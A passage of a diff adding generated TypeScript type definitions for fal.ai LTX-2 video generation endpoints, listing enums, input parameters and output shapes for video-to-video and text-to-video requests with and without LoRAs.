inputFalAiLtx2322BDistilledReferenceVideoToVideoVideoQualityEnum] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoIcLoraTypeEnum = { + match_preprocessor: 'match_preprocessor', + union: 'union', + detailer: 'detailer', + none: 'none', +} as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoIcLoraTypeEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoIcLoraTypeEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoIcLoraTypeEnum] + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideo = { + /** + * @description Video conditioning strength. Lower values represent more freedom given to the model to change the video content. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + video_strength?: number + /** + * @description Audio conditioning strength. Lower values represent more freedom given to the model to change the audio content. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + audio_strength?: number + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description An optional URL of an image to use as the first frame of the video. + */ + image_url?: string | null + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BDistilledReferenceVideoToVideoAccelerationEnumKey + /** + * @description The URL of the video to reference. + * @example https://v3b.fal.media/files/b/0a963ecf/eVoII1AsconU8SpPx5xoE_output.mp4 + * @type string + */ + video_url: string + /** + * @description The preprocessor to use for the generation. + * @default 'none' + * @type string | undefined + */ + preprocessor?: InputFalAiLtx2322BDistilledReferenceVideoToVideoPreprocessorEnumKey + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BDistilledReferenceVideoToVideoSchedulerEnumKey + /** + * @description The prompt to generate the video from. + * @example style: cinematic/realistic. A man wearing a baseball cap walks through a modern town. He holds a coffee cup. + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description When enabled, the number of frames will be calculated based on the video duration and FPS. When disabled, use the specified num_frames. + * @default true + * @type boolean | undefined + */ + match_video_length?: boolean + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BDistilledReferenceVideoToVideoVideoOutputTypeEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BDistilledReferenceVideoToVideoVideoWriteModeEnumKey + /** + * @description The size of the generated video. + * @default auto + */ + video_size?: + | ImageSize1298Eb3C + | InputFalAiLtx2322BDistilledReferenceVideoToVideoVideoSizeKey + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BDistilledReferenceVideoToVideoCameraLoraEnumKey + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The URL of the image to use as the end of the video. + */ + end_image_url?: string | null + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BDistilledReferenceVideoToVideoVideoQualityEnumKey + /** + * @description An optional URL of an audio to use as the audio for the video. If not provided, any audio present in the input video will be used. + */ + audio_url?: string | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The IC LoRA type to use for the generation. + * @default 'union' + * @example union + * @type string | undefined + */ + ic_lora_type?: InputFalAiLtx2322BDistilledReferenceVideoToVideoIcLoraTypeEnumKey + /** + * @description When true, match the output FPS to the input video's FPS instead of using the default target FPS. + * @default true + * @type boolean | undefined + */ + match_input_fps?: boolean +} + +export type VideoFile9Afbdf9E = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BDistilledReferenceVideoToVideo = { + /** + * @description The generated video. + * @example {"height":1056,"file_name":"vqhmP1B5juujIXfBPTotm_5MBoh7yS.mp4","num_frames":161,"url":"https://v3b.fal.media/files/b/0a9640bb/vqhmP1B5juujIXfBPTotm_5MBoh7yS.mp4","content_type":"video/mp4","duration":6.44,"fps":25,"width":1888} + * @type object + */ + video: VideoFile9Afbdf9E + /** + * @description The prompt used for the generation. + * @example black-and-white video, a cowboy walks through a dusty town, film grain + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 1490631192028410600 + * @type integer + */ + seed: number +} + +export type ImageSizeA2699126 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraAccelerationEnum = + { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', + } as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraAccelerationEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraAccelerationEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraAccelerationEnum] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraPreprocessorEnum = + { + depth: 'depth', + canny: 'canny', + pose: 'pose', + none: 'none', + } as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraPreprocessorEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraPreprocessorEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraPreprocessorEnum] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraSchedulerEnum = + { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', + } as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraSchedulerEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraSchedulerEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraSchedulerEnum] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoOutputTypeEnum = + { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', + } as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoOutputTypeEnum] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoWriteModeEnum = + { + fast: 'fast', + balanced: 'balanced', + small: 'small', + } as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoWriteModeEnum] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoSizeKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoSize)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoSize] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraCameraLoraEnum = + { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', + } as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraCameraLoraEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraCameraLoraEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraCameraLoraEnum] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoQualityEnum = + { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', + } as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoQualityEnum] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraIcLoraTypeEnum = + { + match_preprocessor: 'match_preprocessor', + union: 'union', + detailer: 'detailer', + none: 'none', + } as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraIcLoraTypeEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraIcLoraTypeEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoLoraIcLoraTypeEnum] + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoLora = { + /** + * @description Video conditioning strength. Lower values represent more freedom given to the model to change the video content. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + video_strength?: number + /** + * @description Audio conditioning strength. Lower values represent more freedom given to the model to change the audio content. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + audio_strength?: number + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description An optional URL of an image to use as the first frame of the video. + */ + image_url?: string | null + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraAccelerationEnumKey + /** + * @description The URL of the video to reference. + * @example https://v3b.fal.media/files/b/0a963ecf/eVoII1AsconU8SpPx5xoE_output.mp4 + * @type string + */ + video_url: string + /** + * @description The preprocessor to use for the generation. + * @default 'none' + * @type string | undefined + */ + preprocessor?: InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraPreprocessorEnumKey + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraSchedulerEnumKey + /** + * @description The prompt to generate the video from. + * @example style: cinematic/realistic. A man wearing a baseball cap walks through a modern town. He holds a coffee cup. + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description When enabled, the number of frames will be calculated based on the video duration and FPS. When disabled, use the specified num_frames. + * @default true + * @type boolean | undefined + */ + match_video_length?: boolean + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoOutputTypeEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoWriteModeEnumKey + /** + * @description The size of the generated video. + * @default auto + */ + video_size?: + | ImageSizeA2699126 + | InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoSizeKey + /** + * @description The LoRAs to use for the generation. + * @type array + */ + loras: LoRAInput[] + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraCameraLoraEnumKey + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The URL of the image to use as the end of the video. + */ + end_image_url?: string | null + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraVideoQualityEnumKey + /** + * @description An optional URL of an audio to use as the audio for the video. If not provided, any audio present in the input video will be used. + */ + audio_url?: string | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The IC LoRA type to use for the generation. + * @default 'union' + * @example union + * @type string | undefined + */ + ic_lora_type?: InputFalAiLtx2322BDistilledReferenceVideoToVideoLoraIcLoraTypeEnumKey + /** + * @description When true, match the output FPS to the input video's FPS instead of using the default target FPS. + * @default true + * @type boolean | undefined + */ + match_input_fps?: boolean +} + +export type VideoFile34F74949 = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BDistilledReferenceVideoToVideoLora = { + /** + * @description The generated video. + * @example {"height":1056,"file_name":"vqhmP1B5juujIXfBPTotm_5MBoh7yS.mp4","num_frames":161,"url":"https://v3b.fal.media/files/b/0a9640bb/vqhmP1B5juujIXfBPTotm_5MBoh7yS.mp4","content_type":"video/mp4","duration":6.44,"fps":25,"width":1888} + * @type object + */ + video: VideoFile34F74949 + /** + * @description The prompt used for the generation. + * @example black-and-white video, a cowboy walks through a dusty town, film grain + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 1490631192028410600 + * @type integer + */ + seed: number +} + +export type ImageSizeB9452Fb8 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BDistilledTextToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BDistilledTextToVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BDistilledTextToVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BDistilledTextToVideoVideoWriteModeEnum] + +export const inputFalAiLtx2322BDistilledTextToVideoAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BDistilledTextToVideoAccelerationEnumKey = + (typeof inputFalAiLtx2322BDistilledTextToVideoAccelerationEnum)[keyof typeof inputFalAiLtx2322BDistilledTextToVideoAccelerationEnum] + +export const inputFalAiLtx2322BDistilledTextToVideoVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BDistilledTextToVideoVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BDistilledTextToVideoVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BDistilledTextToVideoVideoOutputTypeEnum] + +export const inputFalAiLtx2322BDistilledTextToVideoVideoSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BDistilledTextToVideoVideoSizeKey = + (typeof inputFalAiLtx2322BDistilledTextToVideoVideoSize)[keyof typeof inputFalAiLtx2322BDistilledTextToVideoVideoSize] + +export const inputFalAiLtx2322BDistilledTextToVideoCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BDistilledTextToVideoCameraLoraEnumKey = + (typeof inputFalAiLtx2322BDistilledTextToVideoCameraLoraEnum)[keyof typeof inputFalAiLtx2322BDistilledTextToVideoCameraLoraEnum] + +export const inputFalAiLtx2322BDistilledTextToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BDistilledTextToVideoVideoQualityEnumKey = + (typeof inputFalAiLtx2322BDistilledTextToVideoVideoQualityEnum)[keyof typeof inputFalAiLtx2322BDistilledTextToVideoVideoQualityEnum] + +export const inputFalAiLtx2322BDistilledTextToVideoSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BDistilledTextToVideoSchedulerEnumKey = + (typeof inputFalAiLtx2322BDistilledTextToVideoSchedulerEnum)[keyof typeof inputFalAiLtx2322BDistilledTextToVideoSchedulerEnum] + +export type InputFalAiLtx2322BDistilledTextToVideo = { + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description The prompt to generate the video from. + * @example A cowboy walking through a dusty town at high noon, camera following from behind, cinematic depth, realistic lighting, western mood, 4K film grain. + * @type string + */ + prompt: string + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BDistilledTextToVideoVideoWriteModeEnumKey + /** + * @description The acceleration level to use. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BDistilledTextToVideoAccelerationEnumKey + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BDistilledTextToVideoVideoOutputTypeEnumKey + /** + * @description The size of the generated video. + * @default landscape_16_9 + */ + video_size?: + | ImageSizeB9452Fb8 + | InputFalAiLtx2322BDistilledTextToVideoVideoSizeKey + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BDistilledTextToVideoCameraLoraEnumKey + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BDistilledTextToVideoVideoQualityEnumKey + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BDistilledTextToVideoSchedulerEnumKey +} + +export type VideoFile2698B5Ca = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BDistilledTextToVideo = { + /** + * @description The generated video. + * @example {"height":704,"file_name":"sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4","num_frames":161,"url":"https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4","content_type":"video/mp4","duration":6.44,"fps":25,"width":1248} + * @type object + */ + video: VideoFile2698B5Ca + /** + * @description The prompt used for the generation. + * @example A cowboy walking through a dusty town at high noon, camera following from behind, cinematic depth, realistic lighting, western mood, 4K film grain. + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 149063119 + * @type integer + */ + seed: number +} + +export type ImageSizeB75C25E4 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BDistilledTextToVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BDistilledTextToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BDistilledTextToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BDistilledTextToVideoLoraVideoWriteModeEnum] + +export const inputFalAiLtx2322BDistilledTextToVideoLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BDistilledTextToVideoLoraAccelerationEnumKey = + (typeof inputFalAiLtx2322BDistilledTextToVideoLoraAccelerationEnum)[keyof typeof inputFalAiLtx2322BDistilledTextToVideoLoraAccelerationEnum] + +export const inputFalAiLtx2322BDistilledTextToVideoLoraVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BDistilledTextToVideoLoraVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BDistilledTextToVideoLoraVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BDistilledTextToVideoLoraVideoOutputTypeEnum] + +export const inputFalAiLtx2322BDistilledTextToVideoLoraVideoSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BDistilledTextToVideoLoraVideoSizeKey = + (typeof inputFalAiLtx2322BDistilledTextToVideoLoraVideoSize)[keyof typeof inputFalAiLtx2322BDistilledTextToVideoLoraVideoSize] + +export const inputFalAiLtx2322BDistilledTextToVideoLoraCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BDistilledTextToVideoLoraCameraLoraEnumKey = + (typeof inputFalAiLtx2322BDistilledTextToVideoLoraCameraLoraEnum)[keyof typeof inputFalAiLtx2322BDistilledTextToVideoLoraCameraLoraEnum] + +export const inputFalAiLtx2322BDistilledTextToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BDistilledTextToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx2322BDistilledTextToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx2322BDistilledTextToVideoLoraVideoQualityEnum] + +export const inputFalAiLtx2322BDistilledTextToVideoLoraSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BDistilledTextToVideoLoraSchedulerEnumKey = + (typeof inputFalAiLtx2322BDistilledTextToVideoLoraSchedulerEnum)[keyof typeof inputFalAiLtx2322BDistilledTextToVideoLoraSchedulerEnum] + +export type InputFalAiLtx2322BDistilledTextToVideoLora = { + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description The prompt to generate the video from. + * @example A cowboy walking through a dusty town at high noon, camera following from behind, cinematic depth, realistic lighting, western mood, 4K film grain. + * @type string + */ + prompt: string + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BDistilledTextToVideoLoraVideoWriteModeEnumKey + /** + * @description The acceleration level to use. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BDistilledTextToVideoLoraAccelerationEnumKey + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BDistilledTextToVideoLoraVideoOutputTypeEnumKey + /** + * @description The size of the generated video. + * @default landscape_16_9 + */ + video_size?: + | ImageSizeB75C25E4 + | InputFalAiLtx2322BDistilledTextToVideoLoraVideoSizeKey + /** + * @description The LoRAs to use for the generation. + * @type array + */ + loras: LoRAInput[] + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BDistilledTextToVideoLoraCameraLoraEnumKey + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the 